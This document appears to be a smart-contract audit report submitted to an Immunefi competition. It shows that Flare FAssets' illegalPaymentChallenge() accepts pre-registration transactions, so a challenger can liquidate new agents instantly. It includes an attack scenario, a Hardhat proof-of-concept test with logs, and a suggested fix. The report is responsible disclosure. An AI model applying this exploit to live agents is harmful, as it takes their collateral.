# #46541 \[SC-High] Historical Payment Transaction Exploitation Leading to Instant Agent Liquidation

**Submitted on Jun 1st 2025 at 12:48:34 UTC by @Bluedragon for** [**Audit Comp | Flare | FAssets**](https://immunefi.com/audit-competition/audit-comp-flare-fassets)

* **Report ID:** #46541
* **Report Type:** Smart Contract
* **Report severity:** High
* **Target:** <https://github.com/flare-foundation/fassets/blob/main/contracts/assetManager/library/Challenges.sol>
* **Impacts:**
  * Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield

## Description

## Summary:

The `illegalPaymentChallenge()` function in the FAssets system can be exploited against newly created agents by challenging them for payment transactions that occurred before they registered as agents. Due to the `PaymentConfirmations.VERIFICATION_CLEANUP_DAYS` (14-day) verification window, any balance-decreasing transaction from an address within the past 14 days can be proven via Flare Data Connector, allowing malicious challengers to cause instant full liquidation of legitimate new agents.

## Vulnerability Details:

The vulnerability exists in the challenge system where it accepts proofs of balance-decreasing transactions without verifying that the transaction occurred after the agent's registration timestamp or not.

When an agent creates a vault, the system doesn't protect against challenges for transactions that predate the agent's participation in the FAssets system.

The challenge mechanism in `ChallengesFacet.sol` only verifies that the transaction is not too old (within 14 days) but doesn't check if it occurred after agent registration.

**Scenario (step by step)**:

1. Agent Registration:
   * Legitimate user creates agent vault using the monitored address
   * Agent deposits collateral and becomes available
2. Target Identification:
   * Malicious Challengers monitors XRPL for new agents underlying addresses with recent payment transactions (within 14 days)
   * Identifies an agents address that made payments without payment references before joining FAssets
3. Immediate Challenge:
   * Attacker calls `ChallengesFacet::illegalPaymentChallenge()` with balance decreasing transaction proof of the pre-registration transaction
   * System accepts the challenge since the transaction is within the 14-day window
4. Instant Liquidation:
   * Agent is immediately put into full liquidation status
   * Challenger receives reward from agent's collateral

## Impact:

* **Instant Agent Liquidation**: New agents can be immediately put into full liquidation status
* **Financial Loss**: Agents lose their deposited collateral through forced liquidation
* **Barrier to Entry**: Creates a disincentive for new agents to join the system
* **System Manipulation**: Malicious actors can target specific addresses they know have recent transaction history

## Recommended Mitigation:

**Add a Registration Timestamp Check**

Include a `underlyingTimeStampAtCreation` field in the agent state to store the timestamp when the agent was created. Then, modify the `illegalPaymentChallenge()` function to check that the transaction timestamp is greater than or equal to this registration timestamp.

```solidity
// In illegalPaymentChallenge, add validation:
require(_payment.responseBody.blockTimestamp >= agent.underlyingTimeStampAtCreation, "transaction predates agent registration");
```

This fix ensures that agents can only be challenged for transactions that occurred after they joined the FAssets system, preventing exploitation of pre-registration transaction history.

## Proof of Concept

## Proof of Concept:

1. Add the following test to the `Minitng.ts` in `test/unit/fasset/library` directory
2. Run the test using `yarn testHH`

```ts
  it.only("Legitimate new agent gets full liquidated instantly by illegal payment challenge", async () => {
        const challenger = agentOwner2;
        const paymentAmount = toWei(10e6);
        const paymentReference = ZERO_BYTES32; // no payment reference
        const maxFee = chain.requiredFee;
        // agent make a transaction before entering the FAsset system as agent without payment reference
        chain.mint(underlyingAgent1, paymentAmount);
        console.log("==== Agent Makes Transaction Before Entering the FAsset System ====");
        const txHash = await wallet.addTransaction(underlyingAgent1, minterAddress1, paymentAmount, paymentReference, {maxFee: maxFee});
        console.log("TxHash:", txHash);
        // After 10 days the agent enters the system
        chain.skipTime(toNumber(time.duration.days(10)));
        // Agent creates an agent vault
        console.log("\n==== After 10 days Agent Creates Agent Vault ====");
        const agent1 = await createAgent(agentOwner1, underlyingAgent1);
        const agentInfo_before = await assetManager.getAgentInfo(agent1.address);
        console.log("Agent status before challenge:", agentInfo_before.status.toString(), "(0 means NORMAL)");
        // challenger challenges the payment once the agent is created
        console.log("\n==== Challenger Challenges the Old Initial Payment ====");
        const proof = await attestationProvider.proveBalanceDecreasingTransaction(txHash, underlyingAgent1);
        console.log("Balance decreasing proof is created & payment reference is", proof.data.responseBody.standardPaymentReference);
        await assetManager.illegalPaymentChallenge(proof, agent1.address, {from: challenger})
        const agentInfo_after = await assetManager.getAgentInfo(agent1.address);
        console.log("Agent status after challenge:", agentInfo_after.status.toString(), "(3 means FULL_LIQUIDATION)");
        console.log("!!Agent is now instantly liquidated just after creating the agent vault!!");
        const status = Number(agentInfo_after.status) as AgentStatus;
        assert.equal(status, AgentStatus.FULL_LIQUIDATION);
    });
```

**Logs**

```ts
Contract: Minting.sol; test/unit/fasset/library/Minting.ts; Minting basic tests

==== Agent Makes Transaction Before Entering the FAsset System ====
TxHash: 0xeceab817f1c3ccdb46180af83a24c248a992962bc8b11622e5963364c73d1ffa

==== After 10 days Agent Creates Agent Vault ====
Agent status before challenge: 0 (0 means NORMAL)

==== Challenger Challenges the Payment ====
Balance decreasing proof is created & payment reference is 0x0000000000000000000000000000000000000000000000000000000000000000
Agent status after challenge: 3 (3 means FULL_LIQUIDATION)
!!Agent is now instantly liquidated just after creating the agent vault!!
    ✔ Legitimate new agent gets full liquidated instantly by illegal payment challenge (481ms)
```
